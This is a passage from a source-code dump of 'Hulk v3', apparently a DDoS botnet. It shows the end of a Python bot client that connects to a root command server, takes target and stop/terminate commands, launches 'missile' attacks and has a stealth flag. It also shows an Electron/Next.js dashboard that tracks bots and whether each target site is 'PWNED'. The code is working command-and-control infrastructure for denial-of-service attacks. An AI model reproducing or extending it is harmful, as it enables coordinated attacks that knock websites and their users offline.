is still intact...", 271 | self.count 272 | ) 273 | with contextlib.suppress(ConnectionError): 274 | root_server = self.comms.root_server 275 | root_server.sendall( 276 | f"<{ClientCommands.READ_STATUS}>".encode() 277 | ) 278 | root_server.sendall( 279 | b', '.join( 280 | f"<{status}>".encode() 281 | for status in status_list 282 | ) 283 | ) 284 | 285 | 286 | class Comms: 287 | """ 288 | The class which communicates with the root server. 289 | 290 | :param root_ip: The root server's address. 291 | :type root_ip: str 292 | :param root_port: The root server's port. 293 | :type root_port: Optional[int] 294 | """ 295 | def __init__( 296 | self, root_ip: str, 297 | root_port: Optional[int] = 6666 298 | ): 299 | self.root_ip = root_ip 300 | self.root_port = root_port 301 | self._root_server = None 302 | self._tasks: List[Task] = [] 303 | 304 | @property 305 | def root_server(self): 306 | """ 307 | Get the root server socket from given IP and Port. 308 | 309 | :param root_ip: IP of the root server. 310 | :type root_ip: str 311 | :param root_port: Port of the root server. 312 | :type root_port: Optional[int] 313 | :return: The root server socket. 314 | :rtype: socket.socket 315 | """ 316 | if self._root_server is not None: 317 | return self._root_server 318 | root = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 319 | LOGGER.info("Trying to establish connection with Root server.") 320 | while True: 321 | try: 322 | with contextlib.suppress(ConnectionError): 323 | root.connect((self.root_ip, self.root_port)) 324 | break 325 | except KeyboardInterrupt: 326 | sys.exit(0) 327 | self._root_server = root 328 | FILTER.update_address(self.address) 329 | LOGGER.info( 330 | "Connected to root @ [%s:%d]!", 331 | self.root_ip, self.root_port 332 | ) 333 | root.sendall(f"<{ClientCommands.SEND_TARGET}>".encode()) 334 | return root 335 | 336 | @property 337 | def address(self): 338 | """ 339 | Get the address of the client. 340 | 341 | :return: The address of the client. 342 | :rtype: str 343 | """ 344 | if self._root_server is None: 345 | return (threading.get_native_id(), -1) 346 | return self._root_server.getsockname() 347 | 348 | def close_server(self): 349 | """ 350 | Close the root server socket. 351 | """ 352 | if self._root_server is not None: 353 | self._root_server.close() 354 | self._root_server = None 355 | 356 | async def monitor(self): 357 | """ 358 | Monitor the root server for commands. 359 | """ 360 | root = self.root_server 361 | while True: 362 | try: 363 | command = root.recv(1024) # message 364 | message = command.decode() 365 | if message == str(ServerCommands.TERMINATE): 366 | for task in self._tasks: 367 | task.cancel() 368 | root.sendall(f"<{ClientCommands.KILLED}>".encode()) 369 | root.close() 370 | sys.exit(0) 371 | elif message == str(ServerCommands.STOP): 372 | for task in self._tasks: 373 | task.cancel() 374 | FILTER.update_address(self.address) 375 | LOGGER.warning( 376 | "Stopped by the root server.\n" 377 | "Switching to Stand By mode." 378 | ) 379 | root.sendall(f"<{ClientCommands.STANDBY}>".encode()) 380 | elif message == str(ServerCommands.READ_TARGET): 381 | target = root.recv(1024).decode() # Target 382 | missile = Missile(self, target) 383 | task = asyncio.create_task( 384 | missile.attack(500) 385 | ) 386 | self._tasks.append(task) 387 | await task 388 | except ConnectionResetError: 389 | FILTER.update_address(self.address) 390 | LOGGER.warning( 391 | "Connection with the root server was reset.\n" 392 | "Switching to Stand By mode." 393 | ) 394 | self._root_server = None 395 | root = self.root_server 396 | except KeyboardInterrupt: 397 | for task in self._tasks: 398 | task.cancel() 399 | root.sendall(f"<{ClientCommands.KILLED}>".encode()) 400 | root.close() 401 | sys.exit(0) 402 | 403 | def send(self, status_code: StatusCodes): 404 | """ 405 | Send a status code to the root server. 406 | 407 | :param status_code: The status code to send. 408 | :type status_code: StatusCodes 409 | """ 410 | with contextlib.suppress(ConnectionError): 411 | for msg in [ClientCommands.READ_STATUS, status_code]: 412 | self._root_server.sendall(f"<{msg}>".encode()) 413 | 414 | 415 | def modify_parser(parser: argparse.ArgumentParser): 416 | """ 417 | Useful for exposing the parser modification to external modules. 418 | 419 | :param parser: The parser to modify. 420 | :type parser: argparse.ArgumentParser 421 | """ 422 | def ip_address(arg: argparse.Action): 423 | """ 424 | Validate the IP address. 425 | 426 | :param arg: The argument to validate. 427 | :type arg: argparse.Action 428 | :return: The validated argument. 429 | :rtype: argparse.Action 430 | """ 431 | ip_pattern = re.compile( 432 | r"^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$" 433 | r"|^localhost$" 434 | ) 435 | if not ip_pattern.match(arg): 436 | raise argparse.ArgumentTypeError( 437 | f"{arg} is not a valid IP address." 438 | ) 439 | return arg 440 | parser.add_argument( 441 | '-r', '--root_ip', 442 | help='IPv4 Address where Hulk Server is running.', 443 | default="localhost", 444 | type=ip_address 445 | ) 446 | parser.add_argument( 447 | '-p', '--root_port', 448 | help='Port where Hulk Server is running.', 449 | default=6666 450 | ) 451 | parser.add_argument( 452 | '-s', '--stealth', 453 | help='Stealth mode.', 454 | action='store_true', 455 | ) 456 | 457 | 458 | if __name__ == "__main__": 459 | argparser = argparse.ArgumentParser() 460 | modify_parser(argparser) 461 | args = argparser.parse_args() 462 | 463 | comms = Comms(args.root_ip, args.root_port) 464 | 465 | if platform.system() == 'Windows': 466 | asyncio.set_event_loop_policy( 467 | asyncio.WindowsSelectorEventLoopPolicy() 468 | ) 469 | asyncio.run(comms.monitor()) 470 | -------------------------------------------------------------------------------- /dist/Linux/.gitignore: -------------------------------------------------------------------------------- 1 | !.gitignore -------------------------------------------------------------------------------- /dist/Windows/.gitignore: -------------------------------------------------------------------------------- 1 | !.gitignore -------------------------------------------------------------------------------- /gui/.eslintrc.json: -------------------------------------------------------------------------------- 1 | { 2 | "env": { 3 | "browser": true, 4 | "es2021": true, 5 | "node": true 6 | }, 7 | "extends": [ 8 | "eslint:recommended", 9 | "plugin:@typescript-eslint/recommended", 10 | "plugin:react/recommended", 11 | "next" 12 | ], 13 | "parser": "@typescript-eslint/parser", 14 | "parserOptions": { 15 | "ecmaFeatures": { 16 | "jsx": true 17 | }, 18 | "ecmaVersion": "latest", 19 | "sourceType": "module" 20 | }, 21 | "plugins": [ 22 | "@typescript-eslint" 23 | ], 24 | "settings": { 25 | "next": { 26 | "rootDir": "renderer" 27 | } 28 | }, 29 | "rules": {} 30 | } 31 | -------------------------------------------------------------------------------- /gui/.gitignore: -------------------------------------------------------------------------------- 1 | node_modules 2 | *.log 3 | .next 4 | app 5 | dist 6 | -------------------------------------------------------------------------------- /gui/electron-builder.yml: -------------------------------------------------------------------------------- 1 | appId: com.hyperclaw.hulk 2 | productName: Hulk GUI 3 | artifactName: Hulk_GUI.${ext} 4 | copyright: Copyright © 2022 Hyperclaw79 5 | directories: 6 | output: dist/${os} 7 | buildResources: resources 8 | files: 9 | - from: . 10 | filter: 11 | - package.json 12 | - app 13 | publish: null 14 | win: 15 | publisherName: Hyperclaw79 16 | icon: resources/icon.ico 17 | target: [portable] 18 | linux: 19 | icon: resources/Hulk.png 20 | synopsis: Hulk GUI 21 | description: This is the GUI Dashboard for the Hulk Botnet. 22 | category: Security 23 | target: [AppImage] -------------------------------------------------------------------------------- /gui/main/background.ts: -------------------------------------------------------------------------------- 1 | // Refer Nextron for docs. 2 | 3 | import { app, BrowserWindow, ipcMain } from 'electron'; 4 | import serve from 'electron-serve'; 5 | import { createWindow } from './helpers'; 6 | 7 | const isProd: boolean = process.env.NODE_ENV === 'production'; 8 | 9 | if (isProd) { 10 | serve({ directory: 'app' }); 11 | } else { 12 | app.setPath('userData', `${app.getPath('userData')} (development)`); 13 | } 14 | 15 | (async () => { 16 | await app.whenReady(); 17 | 18 | const mainWindow = createWindow('main', { 19 | width: 1920, 20 | height: 1080, 21 | show: false 22 | }); 23 | mainWindow.maximize(); 24 | mainWindow.show(); 25 | 26 | 27 | if (isProd) { 28 | await mainWindow.loadURL('app://./index.html'); 29 | } else { 30 | const port = process.argv[2]; 31 | await mainWindow.loadURL(`http://localhost:${port}`); 32 | } 33 | 34 | ipcMain.on('request-reload', (event) => { 35 | const webWin = BrowserWindow.fromWebContents(event.sender); 36 | console.log('Refresh requested by the renderer.'); 37 | webWin?.reload(); 38 | }); 39 | })(); 40 | 41 | app.on('window-all-closed', () => { 42 | app.quit(); 43 | }); 44 | -------------------------------------------------------------------------------- /gui/main/helpers/create-window.ts: -------------------------------------------------------------------------------- 1 | // Refer Nextron for docs. 2 | 3 | import { 4 | screen, 5 | BrowserWindow, 6 | BrowserWindowConstructorOptions, 7 | } from 'electron'; 8 | import Store from 'electron-store'; 9 | import * as path from 'path'; 10 | 11 | const createWindow = (windowName: string, options: BrowserWindowConstructorOptions): BrowserWindow => { 12 | const key = 'window-state'; 13 | const name = `window-state-${windowName}`; 14 | const store = new Store({ name }); 15 | const defaultSize = { 16 | width: options.width, 17 | height: options.height, 18 | }; 19 | let state = {}; 20 | // eslint-disable-next-line prefer-const 21 | let win: BrowserWindow; 22 | 23 | const restore = () => store.get(key, defaultSize); 24 | 25 | const getCurrentPosition = () => { 26 | const position = win.getPosition(); 27 | const size = win.getSize(); 28 | return { 29 | x: position[0], 30 | y: position[1], 31 | width: size[0], 32 | height: size[1], 33 | }; 34 | }; 35 | 36 | const windowWithinBounds = (windowState, bounds) => { 37 | return ( 38 | windowState.x >= bounds.x && 39 | windowState.y >= bounds.y && 40 | windowState.x + windowState.width <= bounds.x + bounds.width && 41 | windowState.y + windowState.height <= bounds.y + bounds.height 42 | ); 43 | }; 44 | 45 | const resetToDefaults = () => { 46 | const bounds = screen.getPrimaryDisplay().bounds; 47 | return Object.assign({}, defaultSize, { 48 | x: (bounds.width - defaultSize.width) / 2, 49 | y: (bounds.height - defaultSize.height) / 2, 50 | }); 51 | }; 52 | 53 | const ensureVisibleOnSomeDisplay = windowState => { 54 | const visible = screen.getAllDisplays().some(display => { 55 | return windowWithinBounds(windowState, display.bounds); 56 | }); 57 | if (!visible) { 58 | // Window is partially or fully not visible now. 59 | // Reset it to safe defaults. 60 | return resetToDefaults(); 61 | } 62 | return windowState; 63 | }; 64 | 65 | const saveState = () => { 66 | if (!win.isMinimized() && !win.isMaximized()) { 67 | Object.assign(state, getCurrentPosition()); 68 | } 69 | store.set(key, state); 70 | }; 71 | 72 | state = ensureVisibleOnSomeDisplay(restore()); 73 | 74 | const browserOptions: BrowserWindowConstructorOptions = { 75 | ...options, 76 | ...state, 77 | width: 1920, 78 | height: 1080, 79 | webPreferences: { 80 | preload: path.join(__dirname, '../app/preload.js'), 81 | nodeIntegration: false, 82 | contextIsolation: true, 83 | 84 | ...options.webPreferences, 85 | }, 86 | autoHideMenuBar: true 87 | }; 88 | win = new BrowserWindow(browserOptions); 89 | 90 | win.on('close', saveState); 91 | 92 | return win; 93 | }; 94 | 95 | export default createWindow; -------------------------------------------------------------------------------- /gui/main/helpers/index.ts: -------------------------------------------------------------------------------- 1 | import createWindow from './create-window'; 2 | 3 | export { 4 | createWindow, 5 | }; 6 | -------------------------------------------------------------------------------- /gui/main/preload.ts: -------------------------------------------------------------------------------- 1 | /** This module facilitates the communication with Hulk Server 2 | via a Named Pipe. */ 3 | 4 | import * as net from 'net'; 5 | 6 | import { contextBridge, ipcRenderer } from "electron"; 7 | 8 | import { StatusCodes, Messages, ClientCommands } from "../types/enums.d"; 9 | import { BotnetProps } from "../types/props.d"; 10 | 11 | import { MessageData } from '../types/bridge.d'; 12 | 13 | // Flag to prevent multiple instances of the pipe 14 | let PIPE_INITIATED = false; 15 | 16 | let PIPE_NAME = "HULK"; 17 | 18 | // Platform specific Named Pipe 19 | PIPE_NAME = process.platform === 'win32' 20 | ? `\\\\.\\pipe\\${PIPE_NAME}` 21 | : `/tmp/${PIPE_NAME}`; 22 | 23 | // Regex to extract data from the logs 24 | const botPatten = new RegExp([ 25 | /(?Data|Status|Target|Error){1}.*/, 26 | /(?:<(?.*?)>).+/, 27 | /\[(?:(?.*):(?.*))*?\]/ 28 | ].map(r => r.source).join('')) 29 | 30 | // Initialize the botnetData 31 | const botnetData: BotnetProps = { 32 | target: { 33 | url: '', 34 | status: StatusCodes.NO_LUCK, 35 | }, 36 | botList: [], 37 | }; 38 | 39 | // The Pipe Monitor function 40 | const monitor = (callbacks: { [key: string]: CallableFunction }) => { 41 | // Update the data for every command received 42 | const updateClient = (input: string) => { 43 | const result = botPatten.exec(input); 44 | if (!result || !result.groups) { return; } 45 | const data: MessageData = { 46 | message: result.groups.message, 47 | data: result.groups.data, 48 | botIp: result.groups.botIp, 49 | botPort: parseInt(result.groups.botPort) 50 | }; 51 | // Find the bot in the botnetData if it exists 52 | const bot = botnetData.botList.find( 53 | b => b.ip === data.botIp 54 | && b.port === data.botPort 55 | ); 56 | 57 | switch (data.message) { 58 | // If a Send Target message is received, update the target. 59 | case Messages.TARGET: 60 | botnetData.target = { 61 | url: data.data, 62 | status: StatusCodes.NO_LUCK 63 | }; 64 | break; 65 | // If a Data message is received, update the bot's status 66 | case Messages.DATA: 67 | switch (data.data) { 68 | // Add new bots to the botnetData 69 | case ClientCommands.SEND_TARGET || ClientCommands.STANDBY: 70 | if (!bot) { 71 | botnetData.botList.push({ 72 | ip: data.botIp, 73 | port: data.botPort, 74 | status: "online", 75 | targetStatus: StatusCodes.NO_LUCK 76 | }); 77 | } 78 | else { 79 | bot.status = "online"; 80 | } 81 | if (data.data === ClientCommands.SEND_TARGET) { 82 | botnetData.target.status = StatusCodes.NO_LUCK; 83 | } 84 | break; 85 | // Set the bot's status to offline 86 | case ClientCommands.KILLED || ClientCommands.ERROR: 87 | if (bot) { 88 | bot.status = "offline"; 89 | } 90 | break; 91 | } 92 | break; 93 | // If a Status message is received, update the Target's status 94 | // and the bot's target status. 95 | case Messages.STATUS: 96 | if (botnetData.target.status !== StatusCodes.PWNED) { 97 | botnetData.target.status = StatusCodes[ 98 | data.data.replace( 99 | 'StatusCodes.', '' 100 | ) as keyof typeof StatusCodes 101 | ]; 102 | } 103 | if (bot) { 104 | bot.targetStatus = StatusCodes[ 105 | data.data.replace( 106 | 'StatusCodes.', '' 107 | ) as keyof typeof StatusCodes 108 | ]; 109 | } 110 | break; 111 | // If a Connection Error message is received, set the bot's status to Offline 112 | case Messages.ERROR: 113 | if (bot) { 114 | bot.status = "offline"; 115 | } 116 | } 117 | }; 118 | 119 | if (PIPE_INITIATED) { 120 | // If the pipe has already been initiated, 121 | // just return the updated data. 122 | return botnetData; 123 | } 124 | 125 | // Create a new Named Pipe 126 | const server = net.createServer((stream: net.Socket) => { 127 | 128 | stream.on('connection', () => { 129 | console.log('Connection established'); 130 | if (callbacks?.onConnection) { 131 | callbacks.onConnection(); 132 | } 133 | }); 134 | 135 | // Split the named pipe data steam into commands. 136 | stream.on('data', (c: string) => { 137 | const input = c.toString(); 138 | // Regex for commands. 139 | input.split(/\|(.+?)\|/).filter( 140 | Boolean 141 | ).forEach(updateClient); 142 | if (callbacks?.onData) { 143 | callbacks.onData(botnetData); 144 | } 145 | }); 146 | 147 | stream.on('error', (error: string) => { 148 | console.log('Something went wrong'); 149 | if (callbacks?.onError) { 150 | callbacks.onError(error); 151 | } 152 | }); 153 | 154 | stream.on('end', () => { 155 | console.log('Connected lost with Hulk Server'); 156 | server.close(); 157 | if (callbacks?.onDisconnect) { 158 | callbacks.onDisconnect(); 159 | } 160 | }); 161 | }); 162 | 163 | // Start the listener on the Named Pipe 164 | server.listen(PIPE_NAME, () => { 165 | PIPE_INITIATED = true; 166 | console.log(`Listening for Messages on [${PIPE_NAME}]...\n`); 167 | }); 168 | } 169 | 170 | // Export the Pipe Monitor function to the frontend. 171 | contextBridge.exposeInMainWorld("electronAPI", { 172 | piper: { 173 | "monitor": (callbacks: { [key: string]: CallableFunction }) => { 174 | monitor(callbacks); 175 | } 176 | }, 177 | reload: () => ipcRenderer.send('request-reload') 178 | }); 179 | -------------------------------------------------------------------------------- /gui/nextron.config.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | // eslint-disable-next-line @typescript-eslint/no-unused-vars 3 | webpack: (defaultConfig, env) => 4 | Object.assign(defaultConfig, { 5 | entry: { 6 | background: './main/background.ts', 7 | preload: './main/preload.ts', 8 | }, 9 | }), 10 | }; -------------------------------------------------------------------------------- /gui/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "hulk_gui", 3 | "version": "0.1.0", 4 | "description": "This is the GUI Dashboard for the Hulk Botnet.", 5 | "author": "Hyperclaw79", 6 | "repository": { 7 | "type": "git", 8 | "url": "https://github.com/Hyperclaw79/hulk-v3" 9 | }, 10 | "license": "GPL-3.0-or-later", 11 | "private": true, 12 | "main": "app/background.js", 13 | "scripts": { 14 | "next:dev": "cd renderer && npx next dev", 15 | "next:build": "cd renderer && npx next build", 16 | "next:start": "cd renderer && npx next start", 17 | "next:lint": "cd renderer && npx next lint", 18 | "dev": "nextron", 19 | "build": "nextron build", 20 | "build:all": "nextron build --all", 21 | "build:win": "nextron build --win --x64", 22 | "build:linux": "nextron build --linux", 23 | "postinstall": "electron-builder install-app-deps", 24 | "lint": "eslint --ext .tsx,.ts ." 25 | }, 26 | "dependencies": { 27 | "electron-serve": "^1.1.0", 28 | "electron-store": "^8.0.1" 29 | }, 30 | "devDependencies": { 31 | "@types/node": "^16.11.7", 32 | "@types/react": "^18.0.8", 33 | "@typescript-eslint/eslint-plugin": "^5.32.0", 34 | "@typescript-eslint/parser": "^5.32.0", 35 | "electron": "^19.1.9", 36 | "electron-builder": "^23.0.3", 37 | "eslint": "^8.21.0", 38 | "eslint-config-next": "^12.2.3", 39 | "eslint-plugin-react": "^7.30.1", 40 | "next": "^12.3.4", 41 | "nextron": "^8.4.0", 42 | "react": "^18.2.0", 43 | "react-dom": "^18.2.0", 44 | "typescript": "^4.6.4", 45 | "json5": "^2.2.3", 46 | "loader-utils": "^2.0.3" 47 | } 48 | } 49 | -------------------------------------------------------------------------------- /gui/renderer/.eslintrc.json: -------------------------------------------------------------------------------- 1 | { 2 | "extends": [ 3 | "../.eslintrc.json", 4 | "next/core-web-vitals" 5 | ] 6 | } 7 | -------------------------------------------------------------------------------- /gui/renderer/next-env.d.ts: -------------------------------------------------------------------------------- 1 | /// 2 | /// 3 | 4 | // NOTE: This file should not be edited 5 | // see https://nextjs.org/docs/basic-features/typescript for more information. 6 | -------------------------------------------------------------------------------- /gui/renderer/next.config.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | webpack: (config, { isServer }) => { 3 | if (!isServer) { 4 | config.target = 'electron-renderer'; 5 | config.node = { 6 | __dirname: true, 7 | }; 8 | } 9 | config.output.globalObject = 'this'; 10 | return config; 11 | }, 12 | }; -------------------------------------------------------------------------------- /gui/renderer/pages/_app.tsx: -------------------------------------------------------------------------------- 1 | import type { AppProps } from 'next/app' 2 | import '../styles/globals.css' 3 | 4 | function MyApp({ Component, pageProps }: AppProps) { 5 | return 6 | } 7 | 8 | export default MyApp 9 | -------------------------------------------------------------------------------- /gui/renderer/pages/api/stream.ts: -------------------------------------------------------------------------------- 1 | /** Fallback API if Electron is not available. 2 | Refer ../main/preload.ts for docs. */ 3 | 4 | import * as net from 'net'; 5 | 6 | import { StatusCodes, Messages, ClientCommands } from "../../types/enums.d"; 7 | import { BotnetProps } from "../../types/props.d"; 8 | 9 | import { MessageData } from '../../types/bridge.d'; 10 | import { NextApiRequest, NextApiResponse } from 'next/types'; 11 | 12 | let PIPE_INITIATED = false; 13 | 14 | let PIPE_NAME = "HULK"; 15 | PIPE_NAME = process.platform === 'win32' 16 | ? `\\\\.\\pipe\\${PIPE_NAME}` 17 | : `/tmp/${PIPE_NAME}`; 18 | 19 | const botPatten = new RegExp([ 20 | /(?Data|Status|Target|Error){1}.*/, 21 | /(?:<(?.*?)>).+/, 22 | /\[(?:(?.*):(?.*))*?\]/ 23 | ].map(r => r.source).join('')) 24 | 25 | const botnetData: BotnetProps = { 26 | target: { 27 | url: '', 28 | status: StatusCodes.NO_LUCK, 29 | }, 30 | botList: [], 31 | }; 32 | 33 | const monitor = (callbacks: { [key: string]: CallableFunction }) => { 34 | const updateClient = (input: string) => { 35 | const result = botPatten.exec(input); 36 | if (!result || !result.groups) { return; } 37 | const data: MessageData = { 38 | message: result.groups.message, 39 | data: result.groups.data, 40 | botIp: result.groups.botIp, 41 | botPort: parseInt(result.groups.botPort) 42 | }; 43 | const bot = botnetData.botList.find( 44 | b => b.ip === data.botIp 45 | && b.port === data.botPort 46 | ); 47 | switch (data.message) { 48 | case Messages.TARGET: 49 | botnetData.target = { 50 | url: data.data, 51 | status: StatusCodes.NO_LUCK 52 | }; 53 | break; 54 | case Messages.DATA: 55 | switch (data.data) { 56 | case ClientCommands.SEND_TARGET || ClientCommands.STANDBY: 57 | if (!bot) { 58 | botnetData.botList.push({ 59 | ip: data.botIp, 60 | port: data.botPort, 61 | status: "online", 62 | targetStatus: StatusCodes.NO_LUCK 63 | }); 64 | } 65 | else { 66 | bot.status = "online"; 67 | } 68 | if (data.data === ClientCommands.SEND_TARGET) { 69 | botnetData.target.status = StatusCodes.NO_LUCK; 70 | } 71 | break; 72 | case ClientCommands.KILLED || ClientCommands.ERROR: 73 | if (bot) { 74 | bot.status = "offline"; 75 | } 76 | break; 77 | } 78 | break; 79 | case Messages.STATUS: 80 | if (botnetData.target.status !== StatusCodes.PWNED) { 81 | botnetData.target.status = StatusCodes[ 82 | data.data.replace( 83 | 'StatusCodes.', '' 84 | ) as keyof typeof StatusCodes 85 | ]; 86 | } 87 | if (bot) { 88 | bot.targetStatus = StatusCodes[ 89 | data.data.replace( 90 | 'StatusCodes.', '' 91 | ) as keyof typeof StatusCodes 92 | ]; 93 | } 94 | break; 95 | case Messages.ERROR: 96 | if (bot) { 97 | bot.status = "offline"; 98 | } 99 | } 100 | }; 101 | 102 | if (PIPE_INITIATED) { 103 | return botnetData; 104 | } 105 | const server = net.createServer((stream: net.Socket) => { 106 | 107 | stream.on('connection', () => { 108 | console.log('Connection established'); 109 | if (callbacks?.onConnection) { 110 | callbacks.onConnection(); 111 | } 112 | }); 113 | 114 | stream.on('data', (c: string) => { 115 | const input = c.toString(); 116 | input.split(/\|(.+?)\|/).filter( 117 | Boolean 118 | ).forEach(updateClient); 119 | botnetData.botList.forEach((bot, idx) => { 120 | bot.avatar = `/robots/${Math.round(idx % 9)}.png`; 121 | }); 122 | if (callbacks?.onData) { 123 | callbacks.onData(botnetData); 124 | } 125 | }); 126 | 127 | stream.on('error', (error: string) => { 128 | console.log('Something went wrong'); 129 | if (callbacks?.onError) { 130 | callbacks.onError(error); 131 | } 132 | }); 133 | 134 | stream.on('end', () => { 135 | console.log('Connected lost with Hulk Server'); 136 | server.close(); 137 | if (callbacks?.onDisconnect) { 138 | callbacks.onDisconnect(); 139 | } 140 | }); 141 | }); 142 | 143 | server.listen(PIPE_NAME, () => { 144 | PIPE_INITIATED = true; 145 | console.log('Listening for Messages...\n'); 146 | }); 147 | } 148 | 149 | const handler = async(req: NextApiRequest, res: NextApiResponse) => { 150 | res.setHeader('Content-Type', 'text/event-stream'); 151 | res.setHeader('Cache-Control', 'no-cache, no-transform'); 152 | res.setHeader('Connection', 'keep-alive'); 153 | res.end(`data: ${JSON.stringify(botnetData)}\n\n`); 154 | }; 155 | 156 | monitor({ 157 | onData: console.log, 158 | onConnection: console.log, 159 | onError: console.error, 160 | onDisconnect: console.log 161 | }); 162 | 163 | export default handler; -------------------------------------------------------------------------------- /gui/renderer/pages/components/bot.tsx: -------------------------------------------------------------------------------- 1 | /** A component representing a Bot in the Hulk Botnet. */ 2 | 3 | import Status, { StatusColors, statusLevelMap } from "./status"; 4 | import { BotProps } from "../../types/props.d"; 5 | 6 | const Bot = (props: BotProps) => { 7 | return ( 8 |
21 |
22 |
23 | {/* eslint-disable-next-line @next/next/no-img-element */} 24 | avatar 29 |
30 | 38 |
39 |
40 |
41 |
42 |
HOST
43 |
PORT
44 |
45 |
46 |
47 | {props.ip} 48 |
49 |
50 | {props.port} 51 |
52 |
53 |
54 |
55 | Target Status:  56 | 57 | { 58 | // Remove the StatusCodes. prefix from the status. 59 | (props.targetStatus || 'UNKNOWN') 60 | ?.replace(/StatusCodes\./, '') 61 | ?.replace(/_/, ' ') || 'UNKNOWN' 62 | } 63 | 64 |
65 |
66 |
67 | ); 68 | } 69 | 70 | export default Bot; -------------------------------------------------------------------------------- /gui/renderer/pages/components/botnet.tsx: -------------------------------------------------------------------------------- 1 | /** A component to encapsulate the Botnet */ 2 | 3 | import { useState, useEffect } from "react"; 4 | 5 | import Target from "./target"; 6 | import Bot from "./bot"; 7 | 8 | import { BotnetProps } from "../../types/props.d"; 9 | import { StatusCodes } from "../../types/enums.d"; 10 | 11 | const Botnet = () => { 12 | // Initialize the state of the Botnet. 13 | const [data, setData] = useState({ 14 | target: { 15 | url: "", 16 | status: StatusCodes.NO_LUCK 17 | }, 18 | botList: [] 19 | }); 20 | 21 | useEffect(() => { 22 | const updateBotnet = (botData: BotnetProps) => { 23 | // Assign a random avatar for each bot. 24 | botData.botList.forEach((bot, idx) => { 25 | bot.avatar = `/robots/${Math.round(idx % 9)}.png`; 26 | }); 27 | setData(botData); 28 | } 29 | let source: EventSource; 30 | /* If running the code within Electron, we can access the Pipe Monitor 31 | from the electronAPI bridge. */ 32 | if (window.electronAPI) { 33 | const piper = window.electronAPI.piper; 34 | const reload = window.electronAPI.reload; 35 | piper.monitor({ 36 | onConnection: console.log, 37 | onError: console.error, 38 | onDisconnect: reload, 39 | // On receiving a message, update the state of the Botnet. 40 | onData: updateBotnet 41 | }); 42 | } 43 | // Otherwise, we can can get the data from a HTTP Server-Sent Events (SSE) stream. 44 | else { 45 | alert("Electron API is not available"); 46 | // Create an EventSource to listen to the HTTP Stream. 47 | source = new EventSource("http://localhost:3000/api/stream"); 48 | source.onmessage = (event) => { 49 | // On receiving a message, update the state of the Botnet. 50 | const parsed: BotnetProps = JSON.parse(event.data); 51 | updateBotnet(parsed); 52 | } 53 | } 54 | return () => { 55 | if (source) { 56 | source.close(); 57 | window.location.reload(); 58 | } 59 | } 60 | }, []); 61 | 62 | return ( 63 |
64 |
65 | 69 |
70 |
71 | {data.botList.map( 72 | (bot, index) => 73 | )} 74 |
75 |
76 | ); 77 | } 78 | 79 | export default Botnet; 80 | -------------------------------------------------------------------------------- /gui/renderer/pages/components/status.tsx: -------------------------------------------------------------------------------- 1 | /** A component to display the Online/Offline Status message. */ 2 | 3 | import { StatusCodes } from "../../types/enums.d"; 4 | 5 | /** 6 | * @readonly StatusColors 7 | * @enum {string} 8 | * @property {string} GREEN - The color of the status message when the website is taken down. 9 | * @property {string} RED - The color of the status message when the website cannot be DDoSed. 10 | * @property {string} YELLOW - The color of the status message when the website is unknown. 11 | * @property {string} WHITE - The color of the status message when the website is online. 12 | */ 13 | export enum StatusColors { 14 | GREEN = 'rgb(112, 255, 77)', 15 | RED = 'rgb(233, 41, 41)', 16 | YELLOW = 'rgb(248, 188, 23)', 17 | WHITE = 'rgb(255, 255, 255)' 18 | } 19 | 20 | /** 21 | * @readonly statusLevelMap 22 | * Map of the status codes to the color of the status message. 23 | * @property {StatusCodes} [StatusCodes.NO_LUCK] 24 | * @property {StatusCodes} [StatusCodes.PWNED] 25 | * @property {StatusCodes} [StatusCodes.ANTI_DDOS] 26 | * @property {StatusCodes} [StatusCodes.FORBIDDEN] 27 | * @property {StatusCodes} [StatusCodes.NOT_FOUND] 28 | * @property {StatusCodes} [StatusCodes.CONNECTION_FAILURE] 29 | * @property {string} UNKNOWN 30 | */ 31 | export const statusLevelMap = { 32 | [StatusCodes.NO_LUCK]: StatusColors.YELLOW, 33 | [StatusCodes.PWNED]: StatusColors.GREEN, 34 | [StatusCodes.ANTI_DDOS]: StatusColors.RED, 35 | [StatusCodes.FORBIDDEN]: StatusColors.RED, 36 | [StatusCodes.NOT_FOUND]: StatusColors.RED, 37 | [StatusCodes.CONNECTION_FAILURE]: StatusColors.RED, 38 | 'UNKNOWN': StatusColors.WHITE, 39 | undefined: StatusColors.WHITE 40 | } 41 | 42 | /** 43 | * @interface StatusProps 44 | * @property {string} status - The status code of the website. 45 | * @property {string} level - The color of the status message. 46 | */ 47 | export interface StatusProps { 48 | status: string; 49 | level: StatusColors; 50 | } 51 | 52 | const Status = ({ status, level }: StatusProps) => { 53 | 54 | return ( 55 |
56 | 60 | 66 | 67 | {(status || StatusCodes.NO_LUCK).toUpperCase()} 68 |
69 | ); 70 | } 71 | 72 | export default Status; -------------------------------------------------------------------------------- /gui/renderer/pages/components/target.tsx: -------------------------------------------------------------------------------- 1 | /** The component which holds the status of the Target website. */ 2 | 3 | import Status, { statusLevelMap } from "./status"; 4 | import { TargetProps } from "../../types/props.d"; 5 | 6 | 7 | const Target = (props: TargetProps) => { 8 | return ( 9 | 39 | ); 40 | }; 41 | 42 | export default Target; 43 | -------------------------------------------------------------------------------- /gui/renderer/pages/index.tsx: -------------------------------------------------------------------------------- 1 | /** 2 | * Welcome to Hulk Botnet Dashboard 3 | * @author: Hyperclaw79 4 | */ 5 | 6 | import Head from 'next/head' 7 | import Botnet from './components/botnet' 8 | 9 | export default function Home() { 10 | return ( 11 |
12 | 13 | Hulk v3 Bot Dashboard 14 | 15 | 16 | 17 |
18 | {/* eslint-disable-next-line @next/next/no-img-element */} 19 | Hulk 25 |

29 | Hulk v3 Bot Dashboard 30 |

31 |
32 |
33 | 34 |
35 |
